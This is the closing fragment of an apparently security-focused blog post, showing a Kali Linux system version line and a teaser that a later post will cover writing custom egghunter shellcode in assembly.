Linux kali 5.5.0-kali2-686-pae #1 SMP Debian 5.5.17-1kali1 (2020-04-21) i686 GNU/Linux

In the next blog post, we will be covering how to implement custom egghunter shellcode in assembly.

Thanks for reading!


Close